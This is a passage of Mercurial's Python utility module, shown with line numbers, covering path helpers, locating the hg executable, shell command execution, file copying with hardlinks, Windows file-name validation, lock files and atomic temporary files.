1580 1578 min = nmin
1581 1579 if min > max:
1582 1580 min = max
1583 1581 yield ''.join(buf)
1584 1582 blen = 0
1585 1583 buf = []
1586 1584 if buf:
1587 1585 yield ''.join(buf)
1588 1586
1589 1587 def always(fn):
1590 1588 return True
1591 1589
1592 1590 def never(fn):
1593 1591 return False
1594 1592
1595 1593 def nogc(func):
1596 1594 """disable garbage collector
1597 1595
1598 1596 Python's garbage collector triggers a GC each time a certain number of
1599 1597 container objects (the number being defined by gc.get_threshold()) are
1600 1598 allocated even when marked not to be tracked by the collector. Tracking has
1601 1599 no effect on when GCs are triggered, only on what objects the GC looks
1602 1600 into. As a workaround, disable GC while building complex (huge)
1603 1601 containers.
1604 1602
1605 1603 This garbage collector issue have been fixed in 2.7. But it still affect
1606 1604 CPython's performance.
1607 1605 """
1608 1606 def wrapper(*args, **kwargs):
1609 1607 gcenabled = gc.isenabled()
1610 1608 gc.disable()
1611 1609 try:
1612 1610 return func(*args, **kwargs)
1613 1611 finally:
1614 1612 if gcenabled:
1615 1613 gc.enable()
1616 1614 return wrapper
1617 1615
1618 1616 if pycompat.ispypy:
1619 1617 # PyPy runs slower with gc disabled
1620 1618 nogc = lambda x: x
1621 1619
1622 1620 def pathto(root, n1, n2):
1623 1621 '''return the relative path from one place to another.
1624 1622 root should use os.sep to separate directories
1625 1623 n1 should use os.sep to separate directories
1626 1624 n2 should use "/" to separate directories
1627 1625 returns an os.sep-separated path.
1628 1626
1629 1627 If n1 is a relative path, it's assumed it's
1630 1628 relative to root.
1631 1629 n2 should always be relative to root.
1632 1630 '''
1633 1631 if not n1:
1634 1632 return localpath(n2)
1635 1633 if os.path.isabs(n1):
1636 1634 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1637 1635 return os.path.join(root, localpath(n2))
1638 1636 n2 = '/'.join((pconvert(root), n2))
1639 1637 a, b = splitpath(n1), n2.split('/')
1640 1638 a.reverse()
1641 1639 b.reverse()
1642 1640 while a and b and a[-1] == b[-1]:
1643 1641 a.pop()
1644 1642 b.pop()
1645 1643 b.reverse()
1646 1644 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1647 1645
1648 1646 def mainfrozen():
1649 1647 """return True if we are a frozen executable.
1650 1648
1651 1649 The code supports py2exe (most common, Windows only) and tools/freeze
1652 1650 (portable, not much used).
1653 1651 """
1654 1652 return (safehasattr(sys, "frozen") or # new py2exe
1655 1653 safehasattr(sys, "importers") or # old py2exe
1656 1654 imp.is_frozen(u"__main__")) # tools/freeze
1657 1655
1658 1656 # the location of data files matching the source code
1659 1657 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1660 1658 # executable version (py2exe) doesn't support __file__
1661 1659 datapath = os.path.dirname(pycompat.sysexecutable)
1662 1660 else:
1663 1661 datapath = os.path.dirname(pycompat.fsencode(__file__))
1664 1662
1665 1663 i18n.setdatapath(datapath)
1666 1664
1667 1665 _hgexecutable = None
1668 1666
1669 1667 def hgexecutable():
1670 1668 """return location of the 'hg' executable.
1671 1669
1672 1670 Defaults to $HG or 'hg' in the search path.
1673 1671 """
1674 1672 if _hgexecutable is None:
1675 1673 hg = encoding.environ.get('HG')
1676 1674 mainmod = sys.modules[r'__main__']
1677 1675 if hg:
1678 1676 _sethgexecutable(hg)
1679 1677 elif mainfrozen():
1680 1678 if getattr(sys, 'frozen', None) == 'macosx_app':
1681 1679 # Env variable set by py2app
1682 1680 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1683 1681 else:
1684 1682 _sethgexecutable(pycompat.sysexecutable)
1685 1683 elif (os.path.basename(
1686 1684 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1687 1685 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1688 1686 else:
1689 1687 exe = findexe('hg') or os.path.basename(sys.argv[0])
1690 1688 _sethgexecutable(exe)
1691 1689 return _hgexecutable
1692 1690
1693 1691 def _sethgexecutable(path):
1694 1692 """set location of the 'hg' executable"""
1695 1693 global _hgexecutable
1696 1694 _hgexecutable = path
1697 1695
1698 1696 def _testfileno(f, stdf):
1699 1697 fileno = getattr(f, 'fileno', None)
1700 1698 try:
1701 1699 return fileno and fileno() == stdf.fileno()
1702 1700 except io.UnsupportedOperation:
1703 1701 return False # fileno() raised UnsupportedOperation
1704 1702
1705 1703 def isstdin(f):
1706 1704 return _testfileno(f, sys.__stdin__)
1707 1705
1708 1706 def isstdout(f):
1709 1707 return _testfileno(f, sys.__stdout__)
1710 1708
1711 1709 def shellenviron(environ=None):
1712 1710 """return environ with optional override, useful for shelling out"""
1713 1711 def py2shell(val):
1714 1712 'convert python object into string that is useful to shell'
1715 1713 if val is None or val is False:
1716 1714 return '0'
1717 1715 if val is True:
1718 1716 return '1'
1719 1717 return pycompat.bytestr(val)
1720 1718 env = dict(encoding.environ)
1721 1719 if environ:
1722 1720 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1723 1721 env['HG'] = hgexecutable()
1724 1722 return env
1725 1723
1726 1724 def system(cmd, environ=None, cwd=None, out=None):
1727 1725 '''enhanced shell command execution.
1728 1726 run with environment maybe modified, maybe in different dir.
1729 1727
1730 1728 if out is specified, it is assumed to be a file-like object that has a
1731 1729 write() method. stdout and stderr will be redirected to out.'''
1732 1730 try:
1733 1731 stdout.flush()
1734 1732 except Exception:
1735 1733 pass
1736 1734 cmd = quotecommand(cmd)
1737 1735 env = shellenviron(environ)
1738 1736 if out is None or isstdout(out):
1739 1737 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1740 1738 env=env, cwd=cwd)
1741 1739 else:
1742 1740 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1743 1741 env=env, cwd=cwd, stdout=subprocess.PIPE,
1744 1742 stderr=subprocess.STDOUT)
1745 1743 for line in iter(proc.stdout.readline, ''):
1746 1744 out.write(line)
1747 1745 proc.wait()
1748 1746 rc = proc.returncode
1749 1747 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1750 1748 rc = 0
1751 1749 return rc
1752 1750
1753 1751 def checksignature(func):
1754 1752 '''wrap a function with code to check for calling errors'''
1755 1753 def check(*args, **kwargs):
1756 1754 try:
1757 1755 return func(*args, **kwargs)
1758 1756 except TypeError:
1759 1757 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1760 1758 raise error.SignatureError
1761 1759 raise
1762 1760
1763 1761 return check
1764 1762
1765 1763 # a whilelist of known filesystems where hardlink works reliably
1766 1764 _hardlinkfswhitelist = {
1767 1765 'btrfs',
1768 1766 'ext2',
1769 1767 'ext3',
1770 1768 'ext4',
1771 1769 'hfs',
1772 1770 'jfs',
1773 1771 'NTFS',
1774 1772 'reiserfs',
1775 1773 'tmpfs',
1776 1774 'ufs',
1777 1775 'xfs',
1778 1776 'zfs',
1779 1777 }
1780 1778
1781 1779 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1782 1780 '''copy a file, preserving mode and optionally other stat info like
1783 1781 atime/mtime
1784 1782
1785 1783 checkambig argument is used with filestat, and is useful only if
1786 1784 destination file is guarded by any lock (e.g. repo.lock or
1787 1785 repo.wlock).
1788 1786
1789 1787 copystat and checkambig should be exclusive.
1790 1788 '''
1791 1789 assert not (copystat and checkambig)
1792 1790 oldstat = None
1793 1791 if os.path.lexists(dest):
1794 1792 if checkambig:
1795 1793 oldstat = checkambig and filestat.frompath(dest)
1796 1794 unlink(dest)
1797 1795 if hardlink:
1798 1796 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1799 1797 # unless we are confident that dest is on a whitelisted filesystem.
1800 1798 try:
1801 1799 fstype = getfstype(os.path.dirname(dest))
1802 1800 except OSError:
1803 1801 fstype = None
1804 1802 if fstype not in _hardlinkfswhitelist:
1805 1803 hardlink = False
1806 1804 if hardlink:
1807 1805 try:
1808 1806 oslink(src, dest)
1809 1807 return
1810 1808 except (IOError, OSError):
1811 1809 pass # fall back to normal copy
1812 1810 if os.path.islink(src):
1813 1811 os.symlink(os.readlink(src), dest)
1814 1812 # copytime is ignored for symlinks, but in general copytime isn't needed
1815 1813 # for them anyway
1816 1814 else:
1817 1815 try:
1818 1816 shutil.copyfile(src, dest)
1819 1817 if copystat:
1820 1818 # copystat also copies mode
1821 1819 shutil.copystat(src, dest)
1822 1820 else:
1823 1821 shutil.copymode(src, dest)
1824 1822 if oldstat and oldstat.stat:
1825 1823 newstat = filestat.frompath(dest)
1826 1824 if newstat.isambig(oldstat):
1827 1825 # stat of copied file is ambiguous to original one
1828 1826 advanced = (
1829 1827 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1830 1828 os.utime(dest, (advanced, advanced))
1831 1829 except shutil.Error as inst:
1832 1830 raise error.Abort(str(inst))
1833 1831
1834 1832 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1835 1833 """Copy a directory tree using hardlinks if possible."""
1836 1834 num = 0
1837 1835
1838 1836 gettopic = lambda: hardlink and _('linking') or _('copying')
1839 1837
1840 1838 if os.path.isdir(src):
1841 1839 if hardlink is None:
1842 1840 hardlink = (os.stat(src).st_dev ==
1843 1841 os.stat(os.path.dirname(dst)).st_dev)
1844 1842 topic = gettopic()
1845 1843 os.mkdir(dst)
1846 1844 for name, kind in listdir(src):
1847 1845 srcname = os.path.join(src, name)
1848 1846 dstname = os.path.join(dst, name)
1849 1847 def nprog(t, pos):
1850 1848 if pos is not None:
1851 1849 return progress(t, pos + num)
1852 1850 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1853 1851 num += n
1854 1852 else:
1855 1853 if hardlink is None:
1856 1854 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1857 1855 os.stat(os.path.dirname(dst)).st_dev)
1858 1856 topic = gettopic()
1859 1857
1860 1858 if hardlink:
1861 1859 try:
1862 1860 oslink(src, dst)
1863 1861 except (IOError, OSError):
1864 1862 hardlink = False
1865 1863 shutil.copy(src, dst)
1866 1864 else:
1867 1865 shutil.copy(src, dst)
1868 1866 num += 1
1869 1867 progress(topic, num)
1870 1868 progress(topic, None)
1871 1869
1872 1870 return hardlink, num
1873 1871
1874 1872 _winreservednames = {
1875 1873 'con', 'prn', 'aux', 'nul',
1876 1874 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1877 1875 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1878 1876 }
1879 1877 _winreservedchars = ':*?"<>|'
1880 1878 def checkwinfilename(path):
1881 1879 r'''Check that the base-relative path is a valid filename on Windows.
1882 1880 Returns None if the path is ok, or a UI string describing the problem.
1883 1881
1884 1882 >>> checkwinfilename(b"just/a/normal/path")
1885 1883 >>> checkwinfilename(b"foo/bar/con.xml")
1886 1884 "filename contains 'con', which is reserved on Windows"
1887 1885 >>> checkwinfilename(b"foo/con.xml/bar")
1888 1886 "filename contains 'con', which is reserved on Windows"
1889 1887 >>> checkwinfilename(b"foo/bar/xml.con")
1890 1888 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1891 1889 "filename contains 'AUX', which is reserved on Windows"
1892 1890 >>> checkwinfilename(b"foo/bar/bla:.txt")
1893 1891 "filename contains ':', which is reserved on Windows"
1894 1892 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1895 1893 "filename contains '\\x07', which is invalid on Windows"
1896 1894 >>> checkwinfilename(b"foo/bar/bla ")
1897 1895 "filename ends with ' ', which is not allowed on Windows"
1898 1896 >>> checkwinfilename(b"../bar")
1899 1897 >>> checkwinfilename(b"foo\\")
1900 1898 "filename ends with '\\', which is invalid on Windows"
1901 1899 >>> checkwinfilename(b"foo\\/bar")
1902 1900 "directory name ends with '\\', which is invalid on Windows"
1903 1901 '''
1904 1902 if path.endswith('\\'):
1905 1903 return _("filename ends with '\\', which is invalid on Windows")
1906 1904 if '\\/' in path:
1907 1905 return _("directory name ends with '\\', which is invalid on Windows")
1908 1906 for n in path.replace('\\', '/').split('/'):
1909 1907 if not n:
1910 1908 continue
1911 1909 for c in _filenamebytestr(n):
1912 1910 if c in _winreservedchars:
1913 1911 return _("filename contains '%s', which is reserved "
1914 1912 "on Windows") % c
1915 1913 if ord(c) <= 31:
1916 1914 return _("filename contains '%s', which is invalid "
1917 1915 "on Windows") % stringutil.escapestr(c)
1918 1916 base = n.split('.')[0]
1919 1917 if base and base.lower() in _winreservednames:
1920 1918 return _("filename contains '%s', which is reserved "
1921 1919 "on Windows") % base
1922 1920 t = n[-1:]
1923 1921 if t in '. ' and n not in '..':
1924 1922 return _("filename ends with '%s', which is not allowed "
1925 1923 "on Windows") % t
1926 1924
1927 1925 if pycompat.iswindows:
1928 1926 checkosfilename = checkwinfilename
1929 1927 timer = time.clock
1930 1928 else:
1931 1929 checkosfilename = platform.checkosfilename
1932 1930 timer = time.time
1933 1931
1934 1932 if safehasattr(time, "perf_counter"):
1935 1933 timer = time.perf_counter
1936 1934
1937 1935 def makelock(info, pathname):
1938 1936 """Create a lock file atomically if possible
1939 1937
1940 1938 This may leave a stale lock file if symlink isn't supported and signal
1941 1939 interrupt is enabled.
1942 1940 """
1943 1941 try:
1944 1942 return os.symlink(info, pathname)
1945 1943 except OSError as why:
1946 1944 if why.errno == errno.EEXIST:
1947 1945 raise
1948 1946 except AttributeError: # no symlink in os
1949 1947 pass
1950 1948
1951 1949 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1952 1950 ld = os.open(pathname, flags)
1953 1951 os.write(ld, info)
1954 1952 os.close(ld)
1955 1953
1956 1954 def readlock(pathname):
1957 1955 try:
1958 1956 return os.readlink(pathname)
1959 1957 except OSError as why:
1960 1958 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1961 1959 raise
1962 1960 except AttributeError: # no symlink in os
1963 1961 pass
1964 1962 fp = posixfile(pathname, 'rb')
1965 1963 r = fp.read()
1966 1964 fp.close()
1967 1965 return r
1968 1966
1969 1967 def fstat(fp):
1970 1968 '''stat file object that may not have fileno method.'''
1971 1969 try:
1972 1970 return os.fstat(fp.fileno())
1973 1971 except AttributeError:
1974 1972 return os.stat(fp.name)
1975 1973
1976 1974 # File system features
1977 1975
1978 1976 def fscasesensitive(path):
1979 1977 """
1980 1978 Return true if the given path is on a case-sensitive filesystem
1981 1979
1982 1980 Requires a path (like /foo/.hg) ending with a foldable final
1983 1981 directory component.
1984 1982 """
1985 1983 s1 = os.lstat(path)
1986 1984 d, b = os.path.split(path)
1987 1985 b2 = b.upper()
1988 1986 if b == b2:
1989 1987 b2 = b.lower()
1990 1988 if b == b2:
1991 1989 return True # no evidence against case sensitivity
1992 1990 p2 = os.path.join(d, b2)
1993 1991 try:
1994 1992 s2 = os.lstat(p2)
1995 1993 if s2 == s1:
1996 1994 return False
1997 1995 return True
1998 1996 except OSError:
1999 1997 return True
2000 1998
2001 1999 try:
2002 2000 import re2
2003 2001 _re2 = None
2004 2002 except ImportError:
2005 2003 _re2 = False
2006 2004
2007 2005 class _re(object):
2008 2006 def _checkre2(self):
2009 2007 global _re2
2010 2008 try:
2011 2009 # check if match works, see issue3964
2012 2010 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
2013 2011 except ImportError:
2014 2012 _re2 = False
2015 2013
2016 2014 def compile(self, pat, flags=0):
2017 2015 '''Compile a regular expression, using re2 if possible
2018 2016
2019 2017 For best performance, use only re2-compatible regexp features. The
2020 2018 only flags from the re module that are re2-compatible are
2021 2019 IGNORECASE and MULTILINE.'''
2022 2020 if _re2 is None:
2023 2021 self._checkre2()
2024 2022 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2025 2023 if flags & remod.IGNORECASE:
2026 2024 pat = '(?i)' + pat
2027 2025 if flags & remod.MULTILINE:
2028 2026 pat = '(?m)' + pat
2029 2027 try:
2030 2028 return re2.compile(pat)
2031 2029 except re2.error:
2032 2030 pass
2033 2031 return remod.compile(pat, flags)
2034 2032
2035 2033 @propertycache
2036 2034 def escape(self):
2037 2035 '''Return the version of escape corresponding to self.compile.
2038 2036
2039 2037 This is imperfect because whether re2 or re is used for a particular
2040 2038 function depends on the flags, etc, but it's the best we can do.
2041 2039 '''
2042 2040 global _re2
2043 2041 if _re2 is None:
2044 2042 self._checkre2()
2045 2043 if _re2:
2046 2044 return re2.escape
2047 2045 else:
2048 2046 return remod.escape
2049 2047
2050 2048 re = _re()
2051 2049
2052 2050 _fspathcache = {}
2053 2051 def fspath(name, root):
2054 2052 '''Get name in the case stored in the filesystem
2055 2053
2056 2054 The name should be relative to root, and be normcase-ed for efficiency.
2057 2055
2058 2056 Note that this function is unnecessary, and should not be
2059 2057 called, for case-sensitive filesystems (simply because it's expensive).
2060 2058
2061 2059 The root should be normcase-ed, too.
2062 2060 '''
2063 2061 def _makefspathcacheentry(dir):
2064 2062 return dict((normcase(n), n) for n in os.listdir(dir))
2065 2063
2066 2064 seps = pycompat.ossep
2067 2065 if pycompat.osaltsep:
2068 2066 seps = seps + pycompat.osaltsep
2069 2067 # Protect backslashes. This gets silly very quickly.
2070 2068 seps.replace('\\','\\\\')
2071 2069 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2072 2070 dir = os.path.normpath(root)
2073 2071 result = []
2074 2072 for part, sep in pattern.findall(name):
2075 2073 if sep:
2076 2074 result.append(sep)
2077 2075 continue
2078 2076
2079 2077 if dir not in _fspathcache:
2080 2078 _fspathcache[dir] = _makefspathcacheentry(dir)
2081 2079 contents = _fspathcache[dir]
2082 2080
2083 2081 found = contents.get(part)
2084 2082 if not found:
2085 2083 # retry "once per directory" per "dirstate.walk" which
2086 2084 # may take place for each patches of "hg qpush", for example
2087 2085 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2088 2086 found = contents.get(part)
2089 2087
2090 2088 result.append(found or part)
2091 2089 dir = os.path.join(dir, part)
2092 2090
2093 2091 return ''.join(result)
2094 2092
2095 2093 def checknlink(testfile):
2096 2094 '''check whether hardlink count reporting works properly'''
2097 2095
2098 2096 # testfile may be open, so we need a separate file for checking to
2099 2097 # work around issue2543 (or testfile may get lost on Samba shares)
2100 2098 f1, f2, fp = None, None, None
2101 2099 try:
2102 2100 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
2103 2101 suffix='1~', dir=os.path.dirname(testfile))
2104 2102 os.close(fd)
2105 2103 f2 = '%s2~' % f1[:-2]
2106 2104
2107 2105 oslink(f1, f2)
2108 2106 # nlinks() may behave differently for files on Windows shares if
2109 2107 # the file is open.
2110 2108 fp = posixfile(f2)
2111 2109 return nlinks(f2) > 1
2112 2110 except OSError:
2113 2111 return False
2114 2112 finally:
2115 2113 if fp is not None:
2116 2114 fp.close()
2117 2115 for f in (f1, f2):
2118 2116 try:
2119 2117 if f is not None:
2120 2118 os.unlink(f)
2121 2119 except OSError:
2122 2120 pass
2123 2121
2124 2122 def endswithsep(path):
2125 2123 '''Check path ends with os.sep or os.altsep.'''
2126 2124 return (path.endswith(pycompat.ossep)
2127 2125 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
2128 2126
2129 2127 def splitpath(path):
2130 2128 '''Split path by os.sep.
2131 2129 Note that this function does not use os.altsep because this is
2132 2130 an alternative of simple "xxx.split(os.sep)".
2133 2131 It is recommended to use os.path.normpath() before using this
2134 2132 function if need.'''
2135 2133 return path.split(pycompat.ossep)
2136 2134
2137 2135 def gui():
2138 2136 '''Are we running in a GUI?'''
2139 2137 if pycompat.isdarwin:
2140 2138 if 'SSH_CONNECTION' in encoding.environ:
2141 2139 # handle SSH access to a box where the user is logged in
2142 2140 return False
2143 2141 elif getattr(osutil, 'isgui', None):
2144 2142 # check if a CoreGraphics session is available
2145 2143 return osutil.isgui()
2146 2144 else:
2147 2145 # pure build; use a safe default
2148 2146 return True
2149 2147 else:
2150 2148 return pycompat.iswindows or encoding.environ.get("DISPLAY")
2151 2149
2152 2150 def mktempcopy(name, emptyok=False, createmode=None):
2153 2151 """Create a temporary file with the same contents from name
2154 2152
2155 2153 The permission bits are copied from the original file.
2156 2154
2157 2155 If the temporary file is going to be truncated immediately, you
2158 2156 can use emptyok=True as an optimization.
2159 2157
2160 2158 Returns the name of the temporary file.
2161 2159 """
2162 2160 d, fn = os.path.split(name)
2163 2161 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
2164 2162 os.close(fd)
2165 2163 # Temporary files are created with mode 0600, which is usually not
2166 2164 # what we want. If the original file already exists, just copy
2167 2165 # its mode. Otherwise, manually obey umask.
2168 2166 copymode(name, temp, createmode)
2169 2167 if emptyok:
2170 2168 return temp
2171 2169 try:
2172 2170 try:
2173 2171 ifp = posixfile(name, "rb")
2174 2172 except IOError as inst:
2175 2173 if inst.errno == errno.ENOENT:
2176 2174 return temp
2177 2175 if not getattr(inst, 'filename', None):
2178 2176 inst.filename = name
2179 2177 raise
2180 2178 ofp = posixfile(temp, "wb")
2181 2179 for chunk in filechunkiter(ifp):
2182 2180 ofp.write(chunk)
2183 2181 ifp.close()
2184 2182 ofp.close()
2185 2183 except: # re-raises
2186 2184 try:
2187 2185 os.unlink(temp)
2188 2186 except OSError:
2189 2187 pass
2190 2188 raise
2191 2189 return temp
2192 2190
2193 2191 class filestat(object):
2194 2192 """help to exactly detect change of a file
2195 2193
2196 2194 'stat' attribute is result of 'os.stat()' if specified 'path'
2197 2195 exists. Otherwise, it is None. This can avoid preparative
2198 2196 'exists()' examination on client side of this class.
2199 2197 """
2200 2198 def __init__(self, stat):
2201 2199 self.stat = stat
2202 2200
2203 2201 @classmethod
2204 2202 def frompath(cls, path):
2205 2203 try:
2206 2204 stat = os.stat(path)
2207 2205 except OSError as err:
2208 2206 if err.errno != errno.ENOENT:
2209 2207 raise
2210 2208 stat = None
2211 2209 return cls(stat)
2212 2210
2213 2211 @classmethod
2214 2212 def fromfp(cls, fp):
2215 2213 stat = os.fstat(fp.fileno())
2216 2214 return cls(stat)
2217 2215
2218 2216 __hash__ = object.__hash__
2219 2217
2220 2218 def __eq__(self, old):
2221 2219 try:
2222 2220 # if ambiguity between stat of new and old file is
2223 2221 # avoided, comparison of size, ctime and mtime is enough
2224 2222 # to exactly detect change of a file regardless of platform
2225 2223 return (self.stat.st_size == old.stat.st_size and
2226 2224 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2227 2225 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2228 2226 except AttributeError:
2229 2227 pass
2230 2228 try:
2231 2229 return self.stat is None and old.stat is None
2232 2230 except AttributeError:
2233 2231 return False
2234 2232
2235 2233 def isambig(self, old):
2236 2234 """Examine whether new (= self) stat is ambiguous against old one
2237 2235
2238 2236 "S[N]" below means stat of a file at N-th change:
2239 2237
2240 2238 - S[n-1].ctime < S[n].ctime: can detect change of a file
2241 2239 - S[n-1].ctime == S[n].ctime
2242 2240 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2243 2241 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2244 2242 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2245 2243 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2246 2244
2247 2245 Case (*2) above means that a file was changed twice or more at
2248 2246 same time in sec (= S[n-1].ctime), and comparison of timestamp
2249 2247 is ambiguous.
2250 2248
2251 2249 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2252 2250 timestamp is ambiguous".
2253 2251
2254 2252 But advancing mtime only in case (*2) doesn't work as
2255 2253 expected, because naturally advanced S[n].mtime in case (*1)
2256 2254 might be equal to manually advanced S[n-1 or earlier].mtime.
2257 2255
2258 2256 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2259 2257 treated as ambiguous regardless of mtime, to avoid overlooking
2260 2258 by confliction between such mtime.
2261 2259
2262 2260 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2263 2261 S[n].mtime", even if size of a file isn't changed.
2264 2262 """
2265 2263 try:
2266 2264 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2267 2265 except AttributeError:
2268 2266 return False
2269 2267
2270 2268 def avoidambig(self, path, old):
2271 2269 """Change file stat of specified path to avoid ambiguity
2272 2270
2273 2271 'old' should be previous filestat of 'path'.
2274 2272
2275 2273 This skips avoiding ambiguity, if a process doesn't have
2276 2274 appropriate privileges for 'path'. This returns False in this
2277 2275 case.
2278 2276
2279 2277 Otherwise, this returns True, as "ambiguity is avoided".
2280 2278 """
2281 2279 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2282 2280 try:
2283 2281 os.utime(path, (advanced, advanced))
2284 2282 except OSError as inst:
2285 2283 if inst.errno == errno.EPERM:
2286 2284 # utime() on the file created by another user causes EPERM,
2287 2285 # if a process doesn't have appropriate privileges
2288 2286 return False
2289 2287 raise
2290 2288 return True
2291 2289
2292 2290 def __ne__(self, other):
2293 2291 return not self == other
2294 2292
2295 2293 class atomictempfile(object):
2296 2294 '''writable file object that atomically updates a file
2297 2295
2298 2296 All writes will go to a temporary copy of the original file. Call
2299 2297 close() when you are done writing, and atomictempfile will rename
2300 2298 the temporary copy to the original name, making the changes
2301 2299 visible. If the object is destroyed without being closed, all your
2302 2300 writes are discarded.
2303 2301
2304 2302 checkambig argument of constructor is used with filestat, and is
2305 2303 useful only if target file is guarded by any lock (e.g. repo.lock
2306 2304 or repo.wlock).
2307 2305 '''
2308 2306 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2309 2307 self.__name = name # permanent name
2310 2308 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2311 2309 createmode=createmode)
2312 2310 self._fp = posixfile(self._tempname, mode)
2313 2311 self._checkambig = checkambig
2314 2312
2315 2313 # delegated methods
2316 2314 self.read = self._fp.read
2317 2315 self.write = self._fp.write
2318 2316 self.seek = self._fp.seek
2319 2317 self.tell = self._fp.tell
2320 2318 self.fileno = self._fp.fileno
2321 2319
2322 2320 def close(self):
2323 2321 if not self._fp.closed:
2324 2322 self._fp.close()
2325 2323 filename = localpath(self.__name)
2326 2324 oldstat = self._checkambig and filestat.frompath(filename)
2327 2325 if oldstat and oldstat.stat:
2328 2326 rename(self._tempname, filename)
2329 2327 newstat = filestat.frompath(filename)
2330 2328 if newstat.isambig(oldstat):
2331 2329 # stat of changed file is ambiguous to original one
2332 2330 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2333 2331 os.utime(filename, (advanced, advanced))
2334 2332 else:
2335 2333 rename(self._tempname, filename)
2336 2334
2337 2335 def discard(self):
2338 2336 if not self._fp.closed:
2339 2337 try:
2340 2338 os.unlink(self._tempname)
2341 2339 except OSError:
2342 2340 pass
2343 2341 self._fp.close()
2344 2342
2345 2343 def __del__(self):
2346 2344 if safehasattr(self, '_fp'): # constructor actually did something
2347 2345 self.discard()
2348 2346
2349 2347 def __enter__(self):
2350 2348 return self
2351 2349
2352 2350 def __exit__(self, exctype, excvalue, traceback):
2353 2351 if exctype is not None:
2354 2352 self.discard()
2355 2353 else:
2356 2354 self.close()
2357 2355
2358 2356 def unlinkpath(f, ignoremissing=False):
2359 2357 """unlink and remove the directory if it is empty"""
2360 2358 if ignoremissing:
2361 2359 tryunlink(f)
2362 2360 else:
2363 2361 unlink(f)
2364 2362 # try removing directories that might now be empty
2365 2363 try:
2366 2364 removedirs(os.path.dirname(f))
2367 2365 except OSError:
2368 2366 pass
2369 2367
2370 2368 def tryunlink(f):
2371 2369 """Attempt to remove a file, ignoring ENOENT errors."""
2372 2370 try:
2373 2371 unlink(f)
2374 2372 except OSError as e:
2375 2373 if e.errno != errno.ENOENT:
2376 2374 raise
2377 2375
2378 2376 def makedirs(name, mode=None, notindexed=False):
2379 2377 """recursive directory creation with parent mode inheritance
2380 2378
2381 2379 Newly created directories are marked as "not to be indexed by
2382 2380 the content indexing service", if ``notindexed`` is specified
2383 2381 for "write" mode access.
2384 2382 """
2385 2383 try:
2386 2384 makedir(name, notindexed)
2387 2385 except OSError as err:
2388 2386 if err.errno == errno.EEXIST:
2389 2387 return
2390 2388 if err.errno != errno.ENOENT or not name:
2391 2389 raise
2392 2390 parent = os.path.dirname(os.path.abspath(name))
2393 2391 if parent == name:
2394 2392 raise
2395 2393 makedirs(parent, mode, notindexed)
2396 2394 try:
2397 2395 makedir(name, notindexed)
2398 2396 except OSError as err:
2399 2397 # Catch EEXIST to handle races
2400 2398 if err.errno == errno.EEXIST:
2401 2399 return
2402 2400 raise
2403 2401 if mode is not None:
2404 2402 os.chmod(name, mode)
2405 2403
2406 2404 def readfile(path):
2407 2405 with open(path, 'rb') as fp:
2408 2406 return fp.read()
2409 2407
2410 2408 def writefile(path, text):
2411 2409 with open(path, 'wb') as fp:
2412 2410 fp.write(text)
2413 2411
2414 2412 def appendfile(path, text):
2415 2413 with open(path, 'ab') as fp:
2416 2414 fp.write(text)
2417 2415
2418 2416 class chunkbuffer(object):
2419 2417 """Allow arbitrary sized chunks of data to be efficiently read from an
2420 2418 iterator over chunks of arbitrary size."""
2421 2419
2422 2420 def __init__(self, in_iter):
2423 2421 """in_iter is the iterator that's iterating over the input chunks."""
2424 2422 def splitbig(chunks):
2425 2423 for chunk in chunks:
2426 2424 if len(chunk) > 2**20:
2427 2425 pos = 0
2428 2426 while pos < len(chunk):
2429 2427 end = pos + 2 ** 18
2430 2428 yield chunk[pos:end]
2431 2429 pos = end
2432 2430 else:
2433 2431 yield chunk
2434 2432 self.iter = splitbig(in_iter)
2435 2433 self._queue = collections.deque()
2436 2434 self._chunkoffset = 0
2437 2435
2438 2436 def read(self, l=None):
2439 2437 """Read L bytes of data from the iterator of chunks of data.
